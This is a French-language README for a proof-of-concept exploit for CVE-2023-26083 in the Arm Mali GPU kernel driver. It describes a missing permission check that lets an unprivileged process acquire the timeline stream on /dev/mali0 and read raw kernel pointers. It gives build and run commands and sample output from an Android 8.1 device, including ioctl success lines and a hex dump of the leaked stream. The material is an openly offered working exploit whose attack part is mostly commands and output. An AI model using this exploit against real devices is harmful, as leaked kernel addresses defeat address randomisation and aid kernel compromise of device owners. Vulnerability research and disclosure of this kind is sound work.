
# CVE-2023-26083-Mali-InfoLeak-PoC
Ce dépôt contient un exploit proof-of-concept (PoC) pour CVE-2023-26083, une vulnérabilité dans le pilote GPU Mali (Arm Mali GPU Kernel Driver) qui permet à un utilisateur non privilégié de fuiter des pointeurs noyau et des informations internes sensibles via le flux de timeline (/dev/mali0).
Le pilote GPU Mali fournit une fonctionnalité de « flux de timeline » (tlstream) pour le profilage et le débogage. Ce flux exporte des événements contenant des pointeurs noyau bruts (par exemple, les adresses de kbase_context, kbase_gpu, kbase_lpu, les espaces d'adressage, les atomes, etc.). Normalement, l'accès à ce flux devrait nécessiter le drapeau BASE_CONTEXT_CREATE_FLAG_MONITOR. Cependant, en raison d'un contrôle de permission manquant dans le gestionnaire KBASE_IOCTL_TLSTREAM_ACQUIRE, tout processus (même sans le drapeau monitor) peut obtenir un descripteur de fichier vers le flux de timeline et lire des adresses mémoire du noyau.
Impact :
/dev/mali0 doit exister).Comme le code est autonome et indépendant, vous pouvez facilement le compiler en croisé (cross-compile) à l'aide des outils standard.
Utilisez la chaîne d'outils Android NDK pour compiler pour les appareils ARM64. Il est fortement recommandé d'utiliser la liaison statique pour éviter les problèmes de compatibilité du linker dynamique sur différentes versions d'Android :
aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c
Si vous testez sur une carte de développement ARM (comme Raspberry Pi ou Odroid) équipée d'un GPU Mali et exécutant une distribution Linux standard :
gcc -static -o mali_tlstream_leak mali_tlstream_leak.c
./mali_tlstream_leak
Le programme va :
/dev/mali0.BASE_CONTEXT_CREATE_FLAG_NONE (aucun privilège monitor).*** KERNEL).Remarque : Ce proof-of-concept (PoC) a été testé uniquement sur un Samsung Galaxy J7 Prime sous Android 8.1.0 (Kernel 3.18) avec le niveau de correctif de sécurité du 1er avril 2020.
on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)
Raw hex dump (3805 bytes):
0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54
Parsing packets:
Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0